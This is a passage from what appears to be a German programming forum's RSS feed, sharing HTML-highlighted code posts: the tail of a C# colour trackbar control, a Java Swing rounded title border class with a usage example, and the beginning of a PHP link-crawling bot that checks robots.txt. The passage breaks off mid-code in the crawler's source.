/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">colorsToReturn</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;&nbsp;=&nbsp;</span><span style="color: #0000BB">ControlPaint</span><span style="color: #007700">.</span><span style="color: #0000BB">Light</span><span style="color: #007700">(</span><span style="color: #0000BB">colorsToLighten</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">colorsToReturn</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Sets&nbsp;the&nbsp;trackbar&nbsp;value&nbsp;so&nbsp;that&nbsp;it&nbsp;wont&nbsp;exceed&nbsp;allowed&nbsp;range.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="val"&gt;The&nbsp;value.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;</span><span style="color: #0000BB">void&nbsp;SetProperValue</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;val</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">val&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">barMinimum</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Value&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">barMinimum</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">val&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">barMaximum</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Value&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">barMaximum</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;</span><span style="color: #0000BB">Value&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">val</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Determines&nbsp;whether&nbsp;rectangle&nbsp;contains&nbsp;given&nbsp;point.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="pt"&gt;The&nbsp;point&nbsp;to&nbsp;test.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="rect"&gt;The&nbsp;base&nbsp;rectangle.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;c&gt;true&lt;/c&gt;&nbsp;if&nbsp;rectangle&nbsp;contains&nbsp;given&nbsp;point;&nbsp;otherwise,&nbsp;&lt;c&gt;false&lt;/c&gt;.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/returns&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;static&nbsp;</span><span style="color: #0000BB">bool&nbsp;IsPointInRect</span><span style="color: #007700">(</span><span style="color: #0000BB">Point&nbsp;pt</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Rectangle&nbsp;rect</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">pt</span><span style="color: #007700">.</span><span style="color: #0000BB">X&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Left&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">pt</span><span style="color: #007700">.</span><span style="color: #0000BB">X&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Right&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">pt</span><span style="color: #007700">.</span><span style="color: #0000BB">Y&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Top&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">pt</span><span style="color: #007700">.</span><span style="color: #0000BB">Y&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Bottom</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;return&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#endregion<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>
</div>
</div>
</div><br />
Es ist eine Trackbar - wie der Threadtitel schon sagt - welches von dem Coder modifziert, sogar neu gecodet wurde. Die Credits gehen an den unbekannten Coder. :D<br />
<br />
Hier die gesamte Projektmappe: <a href="http://ul.to/0r6g7oqe" target="_blank" rel="nofollow"><font size="3"><b>DOWNLOAD</b></font></a><br />
<br />
Viel Spaß damit. Ich finde es schicker als die Standard Trackbar die hässlich grau ist. (Y)</div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7370&amp;stc=1&amp;d=1395895419" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>The Don of NYC</dc:creator>
			<guid isPermaLink="true">showroom-102/colorslider-trackbar-modifiziert-31391</guid>
		</item>
		<item>
			<title>Java - RoundedTitleBorder</title>
			<link>showroom-102/java-roundedtitleborder-2952?goto=newpost</link>
			<pubDate>Tue, 13 Dec 2011 19:18:40 GMT</pubDate>
			<description>Hallo, 
 
die Border aus dem SwingSet3 fand ich schön und habe es deshalb nachgebastelt.  
 
import java.awt.Color; 
import java.awt.Component;...</description>
			<content:encoded><![CDATA[<div>Hallo,<br />
<br />
die Border aus dem SwingSet3 fand ich schön und habe es deshalb nachgebastelt. <br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushJava.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: java;">
<br />
import java.awt.Color;<br />
import java.awt.Component;<br />
import java.awt.Font;<br />
import java.awt.GradientPaint;<br />
import java.awt.Graphics;<br />
import java.awt.Graphics2D;<br />
import java.awt.Insets;<br />
import java.awt.RenderingHints;<br />
<br />
import javax.swing.border.AbstractBorder;<br />
<br />
public class RoundedTitleBorder extends AbstractBorder {<br />
    public static final int LEFT = 0;<br />
    public static final int CENTER = 1;<br />
    public static final int RIGHT = 2;<br />
    <br />
    private String title;<br />
    private Font font;<br />
    private int cornerRadius;<br />
    private Color textColor;<br />
    private Color gradient1;<br />
    private Color gradient2;<br />
    private boolean gradient;<br />
    private int pos;<br />
    <br />
    public RoundedTitleBorder(String title, Font font) {<br />
        this(title, font, 15,<br />
                new Color(47, 76, 102),<br />
                new Color(162, 187, 207),<br />
                new Color(199, 202, 208), <br />
                true, LEFT);<br />
    }<br />
    <br />
    public RoundedTitleBorder(String title, Font font, int pos) {<br />
        this(title, font, 15,<br />
                new Color(47, 76, 102),<br />
                new Color(162, 187, 207),<br />
                new Color(199, 202, 208), <br />
                true, pos);<br />
    }<br />
    <br />
    public RoundedTitleBorder(String title, Font font, int cornerRadius, <br />
            Color textColor, Color gradient1, Color gradient2, boolean gradient,<br />
            int pos) {<br />
        this.title = title;<br />
        this.font = font;<br />
        this.cornerRadius = cornerRadius;<br />
        this.textColor = textColor;<br />
        this.gradient1 = gradient1;<br />
        this.gradient2 = gradient2;<br />
        this.gradient = gradient;<br />
        this.pos = pos;<br />
    }<br />
    <br />
    public Insets getBorderInsets(Component c) {<br />
        return getBorderInsets(c, new Insets(0, 0, 0, 0));<br />
    }<br />
    <br />
    public Insets getBorderInsets(Component c, Insets insets) {<br />
        insets.top = c.getFontMetrics(font).getHeight() + 10;<br />
        insets.bottom = cornerRadius &gt; 1 ? (cornerRadius / 2) : 1;<br />
        insets.left = insets.right = 1;<br />
        return insets;<br />
    }<br />
    <br />
    public void paintBorder(Component c, Graphics g, int x, int y, int width, int height) {<br />
        Graphics2D g2 = (Graphics2D) g.create();<br />
        g2.setRenderingHint(RenderingHints.KEY_ANTIALIASING, <br />
                RenderingHints.VALUE_ANTIALIAS_ON);<br />
        <br />
        int fontHeight = c.getFontMetrics(font).getHeight();<br />
        paintGradient(g2, width, fontHeight + 10);<br />
        paintTitle(g2, width, c.getFontMetrics(font).stringWidth(title), fontHeight);<br />
        Color color = deriveColorHSB(c.getBackground(), 0, 0, -.3f);<br />
        g2.setColor(deriveColorAlpha(color, 40));<br />
        g2.drawRoundRect(x, y + 2, width - 1, height - 3, cornerRadius, cornerRadius);<br />
        g2.setColor(deriveColorAlpha(color, 90));<br />
        g2.drawRoundRect(x, y + 1, width - 1, height - 2, cornerRadius, cornerRadius);<br />
        g2.setColor(deriveColorAlpha(color, 255));<br />
        g2.drawRoundRect(x, y, width - 1, height - 1, cornerRadius, cornerRadius);<br />
        g2.dispose();<br />
    }<br />
    <br />
    private void paintGradient(Graphics2D g2, int width, int height) {<br />
        if(gradient) {<br />
            GradientPaint gp = new GradientPaint(0, 0, gradient1,<br />
                    width, height, gradient2);<br />
            g2.setPaint(gp);<br />
            g2.fillRoundRect(0, 0, width, height, cornerRadius, cornerRadius);<br />
                        g2.fillRect(0, height - cornerRadius / 2, width, cornerRadius / 2);<br />
        } else {<br />
            g2.setColor(gradient1);<br />
            g2.fillRoundRect(0, 0, width, height, cornerRadius, cornerRadius);<br />
        }<br />
    }<br />
    <br />
    private void paintTitle(Graphics2D g2, int width, int fontWidth, int fontHeight) {<br />
        int textX = 0;<br />
        switch(pos) {<br />
            case LEFT:<br />
                textX = 10;<br />
                break;<br />
            case CENTER:<br />
                textX = width / 2 - fontWidth / 2;<br />
                break;<br />
            case RIGHT:<br />
                textX = width - fontWidth - 10;<br />
                break;<br />
        }<br />
        g2.setFont(font);<br />
        g2.setColor(textColor);<br />
        g2.drawString(title, textX, fontHeight);<br />
    }<br />
    <br />
    // Aus SwingSet3 Utilities.java<br />
    private Color deriveColorAlpha(Color base, int alpha) {<br />
        return new Color(base.getRed(), base.getGreen(), base.getBlue(), alpha);<br />
    }<br />
    <br />
    // Aus SwingSet3 Utilities.java<br />
    private Color deriveColorHSB(Color base, float dH, float dS, float dB) {<br />
        float hsb&#91;&#93; = Color.RGBtoHSB(<br />
                base.getRed(), base.getGreen(), base.getBlue(), null);<br />
        hsb&#91;0&#93; += dH;<br />
        hsb&#91;1&#93; += dS;<br />
        hsb&#91;2&#93; += dB;<br />
        return Color.getHSBColor(<br />
                hsb&#91;0&#93; &lt; 0 ? 0 : (hsb&#91;0&#93; &gt; 1 ? 1 : hsb&#91;0&#93;), <br />
                hsb&#91;1&#93; &lt; 0 ? 0 : (hsb&#91;1&#93; &gt; 1 ? 1 : hsb&#91;1&#93;), <br />
                hsb&#91;2&#93; &lt; 0 ? 0 : (hsb&#91;2&#93; &gt; 1 ? 1 : hsb&#91;2&#93;));<br />
    }<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
Beispiel (Nimbus LnF):<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">JPanel test = new JPanel(new BorderLayout());<br />
JLabel lbl = new JLabel(&quot;content area&quot;);<br />
lbl.setHorizontalAlignment(JLabel.CENTER);<br />
test.add(BorderLayout.CENTER, lbl);<br />
test.setBorder(new RoundedTitleBorder(&quot;JPanel Border Demo&quot;, new Font(&quot;SansSerif&quot;, Font.BOLD, 18)));</code><hr />
</div><img src="https://u-labs.de/forum/attachment.php?attachmentid=5474&amp;d=1382108970" border="0" alt="Name:  unbenanntnhxno.png
Hits: 284
Größe:  20,6 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<br />
Verlauf und Farben können geändert werden. Siehe Konstruktoren.<br />
<br />
<br />
EDIT: Habe Getter und Setter vergessen. Wer aber schon soweit ist und die Klasse benutzen kann, kann sie nachträglich hinzufügen.</div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=5474&amp;stc=1&amp;d=1382108970" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Mr. White</dc:creator>
			<guid isPermaLink="true">showroom-102/java-roundedtitleborder-2952</guid>
		</item>
		<item>
			<title><![CDATA[[PHP] HTML Crawlbot]]></title>
			<link>showroom-102/php-html-crawlbot-31220?goto=newpost</link>
			<pubDate>Thu, 01 Dec 2011 17:21:43 GMT</pubDate>
			<description>Hallo alle zusammen, 
 
ich bin zwar neu hier, versuche mich aber mal direkt zu integrieren. Was ich hier poste ist ein Crawlbot, geschrieben mit...</description>
			<content:encoded><![CDATA[<div>Hallo alle zusammen,<br />
<br />
ich bin zwar neu hier, versuche mich aber mal direkt zu integrieren. Was ich hier poste ist ein Crawlbot, geschrieben mit PHP.<br />
<br />
<br />
<b>Was macht ein Crawlbot?</b><br />
Dieser spezielle Crawlbot durchsucht Websites nach Hyperlinks, speichert diese Hyperlinks in einer &quot;Liste&quot; in einer Datenbank (ich habe mySQL benutzt, Anbindung an Postgres oder ODBC Datenbanken möglich!) und arbeitet die Liste dann weiter ab.<br />
<br />
<br />
<b>Welche Funktionen hat der Bot noch?</b> <br />
<br />
- Er prüft ob eine Website online ist<br />
- Er prüft ob Robots erlaubt sind<br />
- Er parsed die Seite und sucht nach Links<br />
- Er prüft ob der neue Link bereits in der Datenbank steht<br />
<br />
<b>Wie kann man den Bot erweitern?</b><br />
Zur Zeit speichert der Bot keine Metatags wie keyword, description oder title. Man kann den Sourcecode aber leicht erweitern (siehe Step #6)<br />
<br />
Die Anbindung an die Datenbank erfolgt über eine PDO - Klasse (PDO wird ab PHP 5.3 von php.net empfohlen!), dadurch ist auch eine Anbindung an Postgres oder ODBC möglich!<br />
<br />
<b>Wie crawlt der Bot automatisch?</b><br />
Es gibt zum einen die Möglichkeit das &quot;crawlen&quot; manuell zu halten, in dem man die Seite mit dem PHP script selbst aufruft, zum anderen gibt es die Möglichkeit das Script per CGI Befehl an PHP zu senden (z.B. in Windows) oder per Bash/Cronjob selbstständig aufzurufen (Unix)<br />
<br />
<br />
Hier der Sourcecode:<br />
<br />
<b>main.php</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">&lt;?<br /></span><span style="color: #FF8000">/*<br />Crawl&nbsp;Bot&nbsp;<br /><br />Last&nbsp;Change:&nbsp;30.08.2011<br /><br />Version:&nbsp;3.0<br /><br />Author:&nbsp;Live0x00<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IRC:&nbsp;irc.freenode.net&nbsp;-&nbsp;##code-aequitas<br />*/<br />&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;Error&nbsp;Reporting&nbsp;is&nbsp;serious&nbsp;business<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">error_reporting</span><span style="color: #007700">(</span><span style="color: #0000BB">E_ALL</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Including&nbsp;important&nbsp;classes&nbsp;and&nbsp;persistant&nbsp;DB&nbsp;connection<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">require_once(</span><span style="color: #DD0000">'dbcon.php'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;require_once(</span><span style="color: #DD0000">'tcpconnection.class.php'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;require_once(</span><span style="color: #DD0000">'httpconnection.class.php'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;require_once(</span><span style="color: #DD0000">'simple_html_dom.php'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Setting&nbsp;USER-Agent&nbsp;of&nbsp;our&nbsp;Crawler<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">@</span><span style="color: #0000BB">ini_set</span><span style="color: #007700">(</span><span style="color: #DD0000">'User-Agent'</span><span style="color: #007700">,</span><span style="color: #DD0000">'HTML&nbsp;CRAWLER&nbsp;-&nbsp;Live0x00'</span><span style="color: #007700">);&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Check&nbsp;if&nbsp;robots&nbsp;are&nbsp;allowed<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">function&nbsp;</span><span style="color: #0000BB">robots_allowed</span><span style="color: #007700">(</span><span style="color: #0000BB">$url</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$useragent</span><span style="color: #007700">=</span><span style="color: #0000BB">false</span><span style="color: #007700">)&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$parsed&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">parse_url</span><span style="color: #007700">(</span><span style="color: #0000BB">$url</span><span style="color: #007700">);&nbsp;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$agents&nbsp;</span><span style="color: #007700">=&nbsp;array(</span><span style="color: #0000BB">preg_quote</span><span style="color: #007700">(</span><span style="color: #DD0000">'*'</span><span style="color: #007700">));&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$useragent</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">$agents</span><span style="color: #007700">&#91;&#93;&nbsp;=&nbsp;</span><span style="color: #0000BB">preg_quote</span><span style="color: #007700">(</span><span style="color: #0000BB">$useragent</span><span style="color: #007700">);&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$agents&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">implode</span><span style="color: #007700">(</span><span style="color: #DD0000">'|'</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$agents</span><span style="color: #007700">);&nbsp;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$robotstxt&nbsp;</span><span style="color: #007700">=&nbsp;@</span><span style="color: #0000BB">file</span><span style="color: #007700">(</span><span style="color: #DD0000">"http://</span><span style="color: #007700">{</span><span style="color: #0000BB">$parsed</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'host'</span><span style="color: #007700">&#93;}</span><span style="color: #DD0000">/robots.txt"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!</span><span style="color: #0000BB">$robotstxt</span><span style="color: #007700">)&nbsp;return&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$rules&nbsp;</span><span style="color: #007700">=&nbsp;array();&nbsp;</span><span style="color: #0000BB">$ruleapplies&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;&nbsp;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach(</span><span style="color: #0000BB">$robotstxt&nbsp;</span><span style="color: #007700">as&nbsp;</span><span style="color: #0000BB">$line</span><span style="color: #007700">)&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!</span><span style="color: #0000BB">$line&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$line</span><span style="color: #007700">))&nbsp;continue;&nbsp;</span><span style="color: #FF8000">#&nbsp;following&nbsp;rules&nbsp;only&nbsp;apply&nbsp;if&nbsp;User-agent&nbsp;matches&nbsp;$useragent&nbsp;or&nbsp;'*'&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if(</span><span style="color: #0000BB">preg_match</span><span style="color: #007700">(</span><span style="color: #DD0000">'/User-agent:&nbsp;(.*)/i'</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$line</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$match</span><span style="color: #007700">))&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$ruleapplies&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">preg_match</span><span style="color: #007700">(</span><span style="color: #DD0000">'/($agents)/i'</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$match</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$ruleapplies&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;</span><span style="color: #0000BB">preg_match</span><span style="color: #007700">(</span><span style="color: #DD0000">'/Disallow:(.*)/i'</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$line</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$regs</span><span style="color: #007700">))&nbsp;</span><span style="color: #FF8000">#&nbsp;an&nbsp;empty&nbsp;rule&nbsp;implies&nbsp;full&nbsp;access&nbsp;-&nbsp;no&nbsp;further&nbsp;tests&nbsp;required&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!</span><span style="color: #0000BB">$regs</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;)&nbsp;return&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">#&nbsp;add&nbsp;rules&nbsp;that&nbsp;apply&nbsp;to&nbsp;array&nbsp;for&nbsp;testing&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$rules</span><span style="color: #007700">&#91;&#93;&nbsp;=&nbsp;</span><span style="color: #0000BB">preg_quote</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$regs</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;),&nbsp;</span><span style="color: #DD0000">'/'</span><span style="color: #007700">);&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach(</span><span style="color: #0000BB">$rules&nbsp;</span><span style="color: #007700">as&nbsp;</span><span style="color: #0000BB">$rule</span><span style="color: #007700">)&nbsp;&nbsp;</span><span style="color: #FF8000">#&nbsp;check&nbsp;if&nbsp;page&nbsp;is&nbsp;disallowed&nbsp;to&nbsp;us&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">preg_match</span><span style="color: #007700">(</span><span style="color: #DD0000">"/^</span><span style="color: #0000BB">$rule</span><span style="color: #DD0000">/"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$parsed</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'path'</span><span style="color: #007700">&#93;))&nbsp;return&nbsp;</span><span style="color: 